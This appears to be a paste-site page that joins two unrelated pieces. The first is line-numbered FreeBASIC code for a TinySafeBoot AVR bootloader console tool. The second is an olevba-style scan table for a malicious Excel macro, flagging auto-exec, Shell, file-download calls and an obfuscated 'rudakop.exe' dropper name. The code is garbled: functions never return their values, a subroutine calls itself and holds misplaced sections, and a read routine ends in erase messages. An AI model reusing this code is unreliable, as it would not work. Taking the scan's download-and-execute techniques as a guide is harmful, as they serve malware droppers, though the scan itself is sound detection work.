  817. Dim i As ushort
  818. Dim j As ushort
  819. Dim k As ushort
  820. Dim z As UInteger
  821. Const Comset = ",N,8,1,CS,DS,RB0,TB0,BIN"
  822. Dim Comport As String
  823. Dim TSBIDENT As String
  824. Dim TSBBUILD As UInteger
  825. Dim TSBSTATUS As ubyte
  826. Dim SIG000 As ubyte
  827. Dim SIG001 As ubyte
  828. Dim SIG002 As ubyte
  829. Dim PAGESIZE As ubyte
  830. Dim FLASHSIZE As ushort
  831. Dim APPFLASH As ushort
  832. Dim EEPROMSIZE As ushort
  833. Dim APPJUMP As ushort
  834. Dim TIMEOUT As ubyte
  835. Dim PASSWORD As String
  836. Dim DEVPORTS(6) As ubyte
  837. Const REQUEST As String = "?"
  838. Const CONFIRM As String = "!"
  839. Function CheckChecksum(ByRef ihline As String) As ubyte
  840. Dim i As ubyte
  841. Dim C As ubyte
  842.  For i = 2 To (Len(ihline)) Step 2
  843.  C = C + Val("&h" + (Mid$(ihline, i, 2)))
  844.  Next i
  845. C = 0 - C
  846. End Function
  847. Sub SendCommand(ByRef astr As String)
  848.  Dim a As ushort
  849.  Dim t As ushort
  850.  Dim bstr As String
  851.  If Len(astr) = 0 Then Exit Sub
  852.  Print #8, astr;
  853.  If OneWireLocalEcho Then
  854.  a = 0
  855.  Do Until a = Len(astr)
  856.  t = Timer + 1
  857.  Do Until (Loc(8)) Or (Timer > t): Loop
  858.  bstr = input$(1, #8)
  859.  a = a + 1
  860.  Loop
  861.  End If
  862. End Sub
  863. Function RXBuffer() As String
  864.  Dim a As ushort
  865.  Dim t As UInteger
  866.  Dim astr As String
  867.  Dim bstr As String
  868.  t = Timer + 3
  869.  Do Until Loc(8) Or (Timer > t): Loop
  870.  bstr = ""
  871.  t = Timer + 3
  872.  Do Until EOF(8) Or (Timer > t)
  873.  a = Loc(8): sleep 100: a = Loc(8) - a
  874.  If a = 0 Then
  875.  astr = input$(Loc(8), #8)
  876.  Else: astr = input$(1, #8)
  877.  End If
  878.  bstr = bstr + astr
  879.  Loop
  880. End Function
  881. Function GetUserData() As ubyte
  882. Dim i As ubyte
  883. Dim bstr As String
  884. SendCommand ("c")
  885. bstr = RXBuffer
  886. Clear LASTPAGE(0), 255, 255
  887. For i = 0 To PAGESIZE - 1: LASTPAGE(i) = Asc(Mid$(bstr, i + 1, 1)): Next i
  888. APPJUMP = (LASTPAGE(0) + LASTPAGE(1) * 256)
  889. If TINYMEGA = 1 Then APPJUMP = 0
  890. TIMEOUT = LASTPAGE(2)
  891. i = 3: PASSWORD = ""
  892. Do Until (i = PAGESIZE) Or (LASTPAGE(i) = 255)
  893.  PASSWORD = PASSWORD + Chr$(LASTPAGE(i))
  894.  i = i + 1
  895. Loop
  896. return (0)
  897. End Function
  898. Function VerifyUserData() As ubyte
  899. Dim i As ubyte
  900. Dim bstr As String
  901. SendCommand ("c")
  902. bstr = RXBuffer
  903. if len(bstr) < 16 then return (255)
  904. if right$(bstr,1) <> CONFIRM then return (255)
  905. For i = 0 To Len(bstr) - 1
  906.  If LASTPAGE(i) <> Asc(Mid$(bstr, i + 1, 1)) Then Exit For
  907. Next i
  908. if i < (Len(bstr)-1) then return (255)
  909. return (0)
  910. End Function
  911. Function Word2Date(ByRef InWord As ushort) As UInteger
  912. Word2Date = (InWord And 31) + _
  913.  ((InWord And 480) \ 32) * 100 + _
  914.  ((InWord And 65024) \ 512) * 10000 _
  915.  + 20000000
  916. End Function
  917. Function ActivateTSB(ByRef Comport As String) As ubyte
  918. Dim bstr As String
  919. if open COM (Comport + Comset for binary as #8) > 0 then return (Err)
  920. sleep 100
  921. Print #8, "@@@";
  922. bstr = RXBuffer
  923. If Left$(bstr, 3) = "@@@" Then
  924.  OneWireLocalEcho = 1
  925.  bstr = Right$(bstr, (Len(bstr) - 3))
  926.  Print
  927.  Print "One-Wire interface detected."
  928. End If
  929. If bstr = "" Then
  930.  line input "Password : ", PASSWORD
  931.  SendCommand (PASSWORD)
  932.  bstr = RXBuffer
  933.  If bstr <> "" Then
  934.  Print: Print "Password ... OK": Print
  935.  else return (255)
  936.  End If
  937. End If
  938. if right$(bstr,1) <> CONFIRM then return (255)
  939. if LCase$(left$(bstr,3)) <> "tsb" then return (255)
  940. Dim BUILDWORD As ushort
  941. TSBIDENT = Left$(bstr, 3)
  942. BUILDWORD = Asc(Mid$(bstr, 4, 1)) + Asc(Mid$(bstr, 5, 1)) * 256
  943. TSBSTATUS = Asc(Mid$(bstr, 6, 1))
  944. SIG000 = Asc(Mid$(bstr, 7, 1))
  945. SIG001 = Asc(Mid$(bstr, 8, 1))
  946. SIG002 = Asc(Mid$(bstr, 9, 1))
  947. PAGESIZE = (Asc(Mid$(bstr, 10, 1))) * 2
  948. APPFLASH = (Asc(Mid$(bstr, 11, 1)) + Asc(Mid$(bstr, 12, 1)) * 256) * 2
  949. FLASHSIZE = ((APPFLASH \ 1024) + 1) * 1024
  950. EEPROMSIZE = (Asc(Mid$(bstr, 13, 1)) + Asc(Mid$(bstr, 14, 1)) * 256) + 1
  951. If (PAGESIZE <> 16) And _
  952.  (PAGESIZE <> 32) And _
  953.  (PAGESIZE <> 64) And _
  954.  (PAGESIZE <> 128) _
  955.  Then
  956.  Print "PAGESIZE NOT VALID - ABORT."
  957.  return (255)
  958. End If
  959. If BUILDWORD < 32768 Then
  960.  TSBBUILD = Word2Date(BUILDWORD)
  961. Else
  962.  TSBBUILD = BUILDWORD + 65536 + 20000000
  963. End If
  964. Select Case Asc(Mid$(bstr, 15, 1))
  965. Case &H0: JMPMODE = 0: TINYMEGA = 0
  966. Case &HC: JMPMODE = 1: TINYMEGA = 0
  967. Case &HAA: JMPMODE = 0: TINYMEGA = 1
  968. End Select
  969. Print
  970. return GetUserData()
  971. End Function
  972. Sub ShowDeviceInfo()
  973.  Print "TINY SAFE BOOTLOADER"
  974.  Print "VERSION : "; TSBBUILD
  975.  Print "STATUS : "; WHex(TSBSTATUS)
  976.  Print "SIGNATURE : "; WHex(SIG000, 2); " "; WHex(SIG001, 2); " "; WHex(SIG002, 2)
  977.  Print "DEVICE : "; SignatureToDevicename(SIG000, SIG001, SIG002)
  978.  Print "FLASH : "; FLASHSIZE
  979.  Print "APPFLASH : "; APPFLASH
  980.  Print "PAGESIZE : "; PAGESIZE
  981.  Print "EEPROM : "; EEPROMSIZE
  982.  Print "APPJUMP : "; WHex(APPJUMP, 4)
  983.  Print "TIMEOUT : "; TIMEOUT
  984.  Print
  985. End Sub
  986. Sub TSBChecksum()
  987. Dim i As ushort
  988. Dim j As ushort
  989. MakeMode:
  990. AAAA = 0
  991. ADDR = 0
  992. astr = LCase$(astr)
  993. Filename = astr
  994. Print
  995. If DatasToArray(Filename) Then
  996.  Print "Sorry, this Device is not in the database yet.": Print
  997.  GoTo GError
  998. End If
  999. If DatasToPortMatrix(Filename) Then
  1000.  Print "Matrix error.": Print
  1001.  GoTo GError
  1002. End If
  1003. If AAAA < 250 Then GoTo GError
  1004. If Len(Command$(2)) <> 4 Then GoTo GError
  1005. If Command$(3) = "" Then
  1006.  Filename = "tsb_" + astr + "_" + _
  1007.  LCase$(Command$(2)) + "_" + FWnumber$() + ".hex"
  1008.  Else: Filename = Command$(3)
  1009. End If
  1010. astr = UCase$(Command$(2))
  1011. a = Asc(Mid$(astr, 1, 1)): If a < 65 Or a > 71 Then GoTo GError
  1012. a = a - 65
  1013. b = Val(Mid$(astr, 2, 1))
  1014. If b > 7 Then Print "Portbit must range from 0 to 7.": GoTo GError
  1015. If DEVPORTS(a) = &HFF Then Print "Invalid port assignment.": GoTo GError
  1016. RXTXPB(0, 0) = DEVPORTS(a) + 0 + b
  1017. RXTXPB(1, 0) = DEVPORTS(a) + 8 + b
  1018. RXTXPB(2, 0) = DEVPORTS(a) + 16 + b
  1019. a = Asc(Mid$(astr, 3, 1)): If a < 65 Or a > 71 Then GoTo GError
  1020. a = a - 65
  1021. b = Val(Mid$(astr, 4, 1))
  1022. If b > 7 Then Print "Portbit must range from 0 to 7.": GoTo GError
  1023. If DEVPORTS(a) = &HFF Then Print "Invalid port assignment.": GoTo GError
  1024. RXTXPB(0, 1) = DEVPORTS(a) + 0 + b
  1025. RXTXPB(1, 1) = DEVPORTS(a) + 8 + b
  1026. RXTXPB(2, 1) = DEVPORTS(a) + 16 + b
  1027. Print "Make TSB from code template: "; Filename
  1028. Print
  1029. Print "RXD = P"; Mid$(astr, 1, 2); " / TXD = P"; Mid$(astr, 3, 2)
  1030. Print
  1031. Do Until ADDR >= AAAA
  1032.  Select Case BINARRAY(ADDR + 1)
  1033.  Case &H98, &H99, &H9A, &H9B
  1034.  select case (BINARRAY (ADDR+0) And &b00000111)
  1035.  Case 0
  1036.  select case (BINARRAY (ADDR+0) And &b11111000)
  1037.  Case DEVPORTS(1) + 0: BINARRAY(ADDR + 0) = RXTXPB(0, 0)
  1038.  Case DEVPORTS(1) + 8: BINARRAY(ADDR + 0) = RXTXPB(1, 0)
  1039.  Case DEVPORTS(1) + 16: BINARRAY(ADDR + 0) = RXTXPB(2, 0)
  1040.  End Select
  1041.  Case 1
  1042.  select case (BINARRAY (ADDR+0) And &b11111000)
  1043.  Case DEVPORTS(1) + 0: BINARRAY(ADDR + 0) = RXTXPB(0, 1)
  1044.  Case DEVPORTS(1) + 8: BINARRAY(ADDR + 0) = RXTXPB(1, 1)
  1045.  Case DEVPORTS(1) + 16: BINARRAY(ADDR + 0) = RXTXPB(2, 1)
  1046.  End Select
  1047.  End Select
  1048.  End Select
  1049.  ADDR = ADDR + 2
  1050.  Print Chr$(13); "Modifying reference code $"; WHex(ADDR, 4); " ... ";
  1051. Loop
  1052. Print "OK"
  1053. Print
  1054. TSBchecksum()
  1055. SaveFromArray()
  1056. Print "Saved TSB firmware file: "; Filename
  1057. Err = 0
  1058. End
  1059. EEPROMread:
  1060. If ActivateTSB(Comport) <> 0 Then GoTo GError
  1061. ADDR = 0
  1062. SendCommand ("e")
  1063. Do
  1064.  SendCommand (CONFIRM)
  1065.  astr = RXBuffer()
  1066.  If Len(astr) < PAGESIZE Then GoTo GError
  1067.  For i = 1 To PAGESIZE
  1068.  BINARRAY(ADDR) = Asc(Mid$(astr, i, 1))
  1069.  Print Chr$(13); "EEPROM READ $"; WHex(ADDR, 3); " ... ";
  1070.  ADDR = ADDR + 1
  1071.  Next
  1072. Loop Until ADDR = EEPROMSIZE
  1073. Print "OK"
  1074. AAAA = EEPROMSIZE : SaveFromArray()
  1075. Print
  1076. GoTo Finished
  1077. EEPROMerase:
  1078. If ActivateTSB(Comport) <> 0 Then GoTo GError
  1079. Print "EEPROM ERASE ... ";
  1080. ADDR = 0
  1081. SendCommand ("E")
  1082. Do Until (RXBuffer <> REQUEST) Or ADDR = EEPROMSIZE
  1083.  SendCommand (CONFIRM)
  1084.  astr = String$(PAGESIZE, Chr$(255))
  1085.  SendCommand (astr)
  1086.  ADDR = ADDR + PAGESIZE
  1087. Loop
  1088. SendCommand (REQUEST)
  1089. If RXBuffer <> CONFIRM Then GoTo GError
  1090. Print "OK"
  1091. GoTo Finished
  1092. EEPROMwrite:
  1093. If LoadToArray <> 0 Then GoTo GError
  1094. If ActivateTSB(Comport) <> 0 Then GoTo GError
  1095. If AAAA > EEPROMSIZE Then Print "File too long!": GoTo Finished
  1096. ADDR = 0
  1097. AAAA = (((AAAA - 1) \ PAGESIZE) + 1) * PAGESIZE
  1098. SendCommand ("E")
  1099. Do Until (RXBuffer <> REQUEST) Or ADDR = AAAA
  1100.  SendCommand (CONFIRM)
  1101.  astr = ""
  1102.  For i = 1 To PAGESIZE
  1103.  astr = astr + Chr$(BINARRAY(ADDR))
  1104.  ADDR = ADDR + 1
  1105.  Next i
  1106.  SendCommand (astr)
  1107.  Print Chr$(13); "EEPROM WRITE $"; WHex(ADDR - 1, 3); " ... ";
  1108. Loop
  1109. SendCommand (REQUEST)
  1110. If RXBuffer <> CONFIRM Then GoTo GError
  1111. Print "OK"
  1112. GoTo Finished
  1113. EEPROMverify:
  1114. If ActivateTSB(Comport) <> 0 Then GoTo GError
  1115. If LoadToArray <> 0 Then GoTo GError
  1116. If AAAA > EEPROMSIZE Then Print "File too long!": GoTo Finished
  1117. ADDR = 0
  1118. SendCommand ("e")
  1119. Do
  1120.  SendCommand (CONFIRM)
  1121.  astr = RXBuffer
  1122.  If Len(astr) < PAGESIZE Then GoTo GError
  1123.  For i = 1 To PAGESIZE
  1124.  Print Chr$(13); "EEPROM VERIFY $"; WHex(ADDR, 3); " ... ";
  1125.  If BINARRAY(ADDR) <> Asc(Mid$(astr, i, 1)) Then Exit Do
  1126.  ADDR = ADDR + 1
  1127.  Next i
  1128. Loop Until ADDR = EEPROMSIZE
  1129. If ADDR = EEPROMSIZE Or Right$(astr, 1) = CONFIRM Then
  1130.  Print "OK"
  1131.  Else
  1132.  Beep
  1133.  Print "--- ERROR! ---"
  1134. End If
  1135. GoTo Finished
  1136. FLASHread:
  1137. If ActivateTSB(Comport) <> 0 Then GoTo GError
  1138. ADDR = 0
  1139. AAAA = APPFLASH
  1140. SendCommand ("f")
  1141. Do
  1142.  SendCommand (CONFIRM)
  1143.  astr = RXBuffer
  1144.  If Len(astr) < PAGESIZE Then GoTo GError
  1145.  For i = 1 To PAGESIZE
  1146.  BINARRAY(ADDR) = Asc(Mid$(astr, i, 1))
  1147.  ADDR = ADDR + 1
  1148.  Next i
  1149.  Print Chr$(13); "FLASH READ $"; WHex(ADDR - 1, 4); " ... ";
  1150. Loop Until ADDR = APPFLASH
  1151. Print "OK"
  1152. Print
  1153. Do Until (Asc(Mid$(bstr, i + 1, 1)) < 255) Or (i > 255)
  1154.  i = i + 1
  1155. Loop
  1156. If i <> 32 And i <> 64 And i <> 128 Then GoTo GError
  1157. Print "Emergency Erase successfull! TSB restored to defaults."
  1158. GoTo Finished
  1159. HelpScreen:
  1160. Print "-------------------------------------------------------------------------------"
  1161. Print "Console Tool for TinySafeBoot, the tiny and safe AVR bootloader SW:";
  1162. Print ""
  1163. End
  1164. Licensenote:
  1165. Print
  1166. Print "TSB - Console Tool for TinySafeBoot, the tiny and safe AVR bootloader"
  1167. Print
  1168. End
  1169. GError:
  1170. Close
  1171. Print: Print "ERROR."
  1172. Print
  1173. End
  1174. Finished:
  1175. DeactivateTSB
  1176. Print
  1177. Close
  1178. Err = 0
  1179. End
  1180.  
  1181.  
  1182.  
  1183.  
  1184.  
  1185.  
  1186.  
  1187.  
  1188. +------------+----------------------+-----------------------------------------+
  1189. | Type       | Keyword              | Description                             |
  1190. +------------+----------------------+-----------------------------------------+
  1191. | AutoExec   | Workbook_Open        | Runs when the Excel Workbook is opened  |
  1192. | Suspicious | Open                 | May open a file                         |
  1193. | Suspicious | Shell                | May run an executable file or a system  |
  1194. |            |                      | command                                 |
  1195. | Suspicious | WScript.Shell        | May run an executable file or a system  |
  1196. |            |                      | command                                 |
  1197. | Suspicious | Windows              | May enumerate application windows (if   |
  1198. |            |                      | combined with Shell.Application object) |
  1199. | Suspicious | Shell.Application    | May run an application (if combined     |
  1200. |            |                      | with CreateObject)                      |
  1201. | Suspicious | Binary               | May read or write a binary file (if     |
  1202. |            |                      | combined with Open)                     |
  1203. | Suspicious | CreateObject         | May create an OLE object                |
  1204. | Suspicious | DownloadFile         | May download files from the Internet    |
  1205. |            |                      | using PowerShell                        |
  1206. | Suspicious | Chr                  | May attempt to obfuscate specific       |
  1207. |            |                      | strings                                 |
  1208. | Suspicious | Write                | May write to a file (if combined with   |
  1209. |            |                      | Open)                                   |
  1210. | Suspicious | Print #              | May write to a file (if combined with   |
  1211. |            |                      | Open)                                   |
  1212. | Suspicious | URLDownloadToFileA   | May download files from the Internet    |
  1213. | Suspicious | Lib                  | May run code from a DLL                 |
  1214. | Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
  1215. |            |                      | be used to obfuscate strings (option    |
  1216. |            |                      | --decode to see all)                    |
  1217. | Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
  1218. |            | Strings              | may be used to obfuscate strings        |
  1219. |            |                      | (option --decode to see all)            |
  1220. | IOC        | rudakop.exe          | Executable file name (obfuscation: VBA  |
  1221. |            |                      | expression)                             |
  1222. | VBA string | \rudakop.exe         | "\" + "rudakop" + Chr(46) + "e" + "" +  |
  1223. |            |                      | "" + "" + "xe"                          |
  1224. | VBA string |
  1225.                     | Chr$(13)                                |
  1226. +------------+----------------------+-----------------------------------------+
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement